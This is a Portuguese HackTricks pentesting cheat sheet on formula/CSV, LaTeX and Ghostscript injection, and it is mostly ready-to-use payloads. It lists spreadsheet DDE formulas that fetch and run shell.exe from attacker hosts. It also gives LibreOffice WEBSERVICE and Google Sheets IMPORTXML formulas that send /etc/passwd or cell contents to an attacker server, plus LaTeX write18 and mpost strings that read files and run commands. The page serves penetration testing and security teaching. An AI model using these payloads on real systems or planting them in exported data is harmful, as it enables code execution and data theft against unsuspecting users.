hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

218 lines
12 KiB
Markdown

# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**Grupo de Segurança Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Injeção de Fórmula
### Informação
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
{% hint style="danger" %}
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hiperlink
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e para fazer solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
1. **Injeção de Payload Malicioso:**
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
2. **Exportando Dados Comprometidos:**
* Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
* O arquivo CSV, quando aberto, ainda contém o payload malicioso. Esse payload aparece como um hiperlink clicável na planilha.
3. **Desencadeando o Ataque:**
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
4. **Registrando os Dados:**
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
### RCE
**Confira o** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **para mais detalhes.**
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Troca Dinâmica de Dados (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem estar habilitadas:
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
```markdown
`=cmd|' /C calc'!xxx`
```
Comandos adicionais também podem ser executados, como baixar e executar um arquivo usando o PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Inclusão Local de Arquivo (LFI) no LibreOffice Calc
O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
- Lendo a primeira linha do arquivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Exfiltrando os dados lidos para um servidor controlado pelo atacante: `=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Exfiltrando mais de uma linha: `=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domínio do atacante>"))`
### Google Sheets para Exfiltração de Dados Out-of-Band (OOB)
O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
- **CONCATENATE**: Anexa strings juntas - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Importa dados de tipos de dados estruturados - `=IMPORTXML(CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Importa feeds RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<IP do atacante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Importa dados de tabelas ou listas HTML - `=IMPORTHTML (CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Importa um intervalo de células de outra planilha - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_da_Planilha]", "planilha1!A2:E2")`
- **IMAGE**: Insere uma imagem em uma célula - `=IMAGE("https://<IP do atacante:Porta>/images/srpr/logo3w.png")`
## Injeção LaTeX
Normalmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
### Ler arquivo <a href="#read-file" id="read-file"></a>
Você pode precisar ajustar a injeção com wrappers como \[ ou $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Ler arquivo de uma única linha
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Ler arquivo de várias linhas
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Escrever arquivo <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Execução de comando <a href="#command-execution" id="command-execution"></a>
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Injeção de Ghostscript
**Verifique** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referências
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Grupo de Segurança Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>